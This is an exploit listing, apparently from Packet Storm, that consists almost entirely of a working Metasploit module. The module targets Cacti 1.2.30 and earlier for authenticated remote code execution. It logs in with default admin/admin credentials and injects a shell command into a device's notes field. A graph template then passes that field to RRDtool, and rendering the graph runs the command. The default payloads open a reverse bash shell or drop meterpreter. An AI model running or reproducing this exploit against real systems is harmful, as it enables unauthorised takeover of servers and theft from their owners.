Share
## https://sploitus.com/exploit?id=PACKETSTORM:225025
==================================================================================================================================
| # Title : Cacti โค 1.2.30 Authenticated RCE via Host Variable Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.cacti.net/ |
==================================================================================================================================
[+] Summary : This is a Metasploit exploit module targeting Cacti (โค 1.2.30 and 1.3.0-dev) for authenticated remote code execution (RCE).
[+] Payload :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Cacti Authenticated Remote Code Execution via Host Variable Injection',
'Description' => %q{
This module exploits an OS command injection vulnerability in Cacti
(versions โค 1.2.30 and 1.3.0-dev). Any authenticated user with device
and graph template creation privileges can execute arbitrary commands
on the underlying server. The flaw exists because user-controlled host
metadata fields (specifically the device notes field) are substituted
into RRDtool command-line arguments via Cacti's variable replacement
engine without any sanitization or escaping.
},
'License' => MSF_LICENSE,
'Author' =>['indoushka'],
'References' =>
[
['CVE', '2026-39949'],
['URL', 'https://github.com/rapid7/metasploit-framework']
],
'DisclosureDate' => '2026-06-18',
'Platform' => %w[linux unix],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
'Targets' =>
[
['Unix/Linux (In-Memory Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
['Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
'Type' => :dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisablePayloadHandler' => false,
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 2
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to Cacti installation', '/cacti/']),
OptString.new('USERNAME', [true, 'Username for Cacti', 'admin']),
OptString.new('PASSWORD', [true, 'Password for Cacti', 'admin'])
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def base_uri
normalize_uri(datastore['TARGETURI'])
end
def check
print_status("Checking Cacti version...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'index.php')
})
unless res
return Exploit::CheckCode::Unknown('Target did not respond to check.')
end
if res.body =~ /Cacti.*?v?([0-9]+\.[0-9]+\.[0-9]+)/
version = $1
print_status("Detected Cacti version: #{version}")
if version <= '1.2.30'
return Exploit::CheckCode::Appears("Vulnerable version #{version} detected")
elsif version == '1.3.0-dev'
return Exploit::CheckCode::Appears("Vulnerable development version #{version} detected")
else
return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
end
end
Exploit::CheckCode::Detected
end
def get_csrf_token(uri, params = nil)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => params
})
unless res
fail_with(Failure::Unreachable, 'Failed to retrieve CSRF token')
end
if res.body =~ /name=["']__csrf_magic["'][^>]*value=["']([^"']+)["']/
return $1
end
fail_with(Failure::UnexpectedReply, 'Could not find CSRF token')
end
def login
print_status("Authenticating as #{username}...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'index.php'))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'index.php'),
'vars_post' => {
'action' => 'login',
'login_username' => username,
'login_password' => password,
'__csrf_magic' => csrf_token
}
})
unless res
fail_with(Failure::Unreachable, 'Login request failed')
end
if res.headers['Set-Cookie'] =~ /Cacti/
print_good("Login successful")
return true
end
fail_with(Failure::NoAccess, 'Login failed - check credentials')
end
def create_device(notes)
print_status("Creating device with malicious notes...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'host.php'), { 'action' => 'edit' })
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'host.php'),
'vars_post' => {
'action' => 'save',
'save_component_host' => '1',
'reindex_method' => '1',
'id' => '0',
'host_template_id' => '0',
'description' => 'poc',
'hostname' => '127.0.0.1',
'location' => '',
'poller_id' => '1',
'site_id' => '1',
'device_threads' => '1',
'availability_method' => '0',
'snmp_options' => '0',
'ping_method' => '1',
'ping_port' => '23',
'ping_timeout' => '400',
'ping_retries' => '1',
'snmp_version' => '2',
'snmp_community' => 'public',
'snmp_security_level' => 'authPriv',
'snmp_auth_protocol' => 'MD5',
'snmp_username' => '',
'snmp_password' => '',
'snmp_password_confirm' => '',
'snmp_priv_protocol' => 'DES',
'snmp_priv_passphrase' => '',
'snmp_priv_passphrase_confirm' => '',
'snmp_context' => '',
'snmp_engine_id' => '',
'snmp_port' => '161',
'snmp_timeout' => '500',
'snmp_retries' => '3',
'max_oids' => '10',
'bulk_walk_size' => '0',
'external_id' => '',
'notes' => notes,
'__csrf_magic' => csrf_token
}
})
unless res
fail_with(Failure::Unreachable, 'Failed to create device')
end
if res.headers['Location'] =~ /[?&]id=(\d+)/
host_id = $1
print_good("Device created with ID: #{host_id}")
return host_id
end
fail_with(Failure::UnexpectedReply, 'Could not extract host ID')
end
def create_template
print_status("Creating graph template...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'graph_templates.php'),
{ 'action' => 'template_edit' })
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'graph_templates.php'),
'vars_post' => {
'action' => 'save',
'save_component_template' => '1',
'graph_template_id' => '0',
'graph_template_graph_id' => '0',
'name' => 'poc',
'class' => 'unassigned',
'version' => '',
'title' => 'poc',
'vertical_label' => '',
'image_format_id' => '1',
'height' => '200',
'width' => '700',
'base_value' => '1000',
'auto_scale_opts' => '2',
'upper_limit' => '100',
'lower_limit' => '0',
'unit_value' => '',
'unit_exponent_value' => '',
'unit_length' => '',
'right_axis' => '',
'right_axis_label' => '|host_notes|',
'right_axis_format' => '0',
'right_axis_formatter' => '0',
'left_axis_format' => '0',
'left_axis_formatter' => '0',
'tab_width' => '',
'legend_position' => '0',
'legend_direction' => '0',
'rrdtool_version' => '1.7.2',
'__csrf_magic' => csrf_token
}
})
unless res
fail_with(Failure::Unreachable, 'Failed to create template')
end
if res.headers['Location'] =~ /[?&]id=(\d+)/
template_id = $1
print_good("Template created with ID: #{template_id}")
return template_id
end
fail_with(Failure::UnexpectedReply, 'Could not extract template ID')
end
def create_graph(host_id, template_id)
print_status("Creating graph...")
csrf_token = get_csrf_token(normalize_uri(base_uri, 'graphs_new.php'),
{ 'reset' => 'true', 'host_id' => host_id })
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'graphs_new.php'),
'vars_post' => {
'save_component_graph' => '1',
'cg_g' => template_id,
'host_id' => host_id.to_s,
'host_template_id' => '0',
'action' => 'save',
'graph_type' => '-2',
'rows' => '-1',
'__csrf_magic' => csrf_token
}
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'host.php'),
'vars_get' => {
'action' => 'edit',
'id' => host_id
}
})
unless res
fail_with(Failure::Unreachable, 'Failed to retrieve graph ID')
end
if res.body =~ /graph_edit&(?:amp;)?id=(\d+)/
graph_id = $1
print_good("Graph created with ID: #{graph_id}")
return graph_id
end
fail_with(Failure::UnexpectedReply, 'Could not extract graph ID')
end
def trigger_graph(graph_id)
print_status("Triggering graph to execute payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'graph_image.php'),
'vars_get' => {
'local_graph_id' => graph_id,
'rra_id' => '0',
'graph_start' => '-3600',
'graph_end' => '0'
}
})
rescue => e
print_debug("Trigger request completed (expected error for background execution)")
end
def execute_command(cmd, opts = {})
payload = "'; (#{cmd} &); '"
host_id = create_device(payload)
template_id = create_template
graph_id = create_graph(host_id, template_id)
trigger_graph(graph_id)
print_status("Waiting for payload to execute...")
sleep(2)
end
def exploit
login
case target['Type']
when :cmd
print_status("Executing command payload...")
execute_command(payload.raw)
when :dropper
print_status("Executing dropper payload...")
execute_cmdstager(linemax: 2000)
end
print_good("Exploit completed!")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================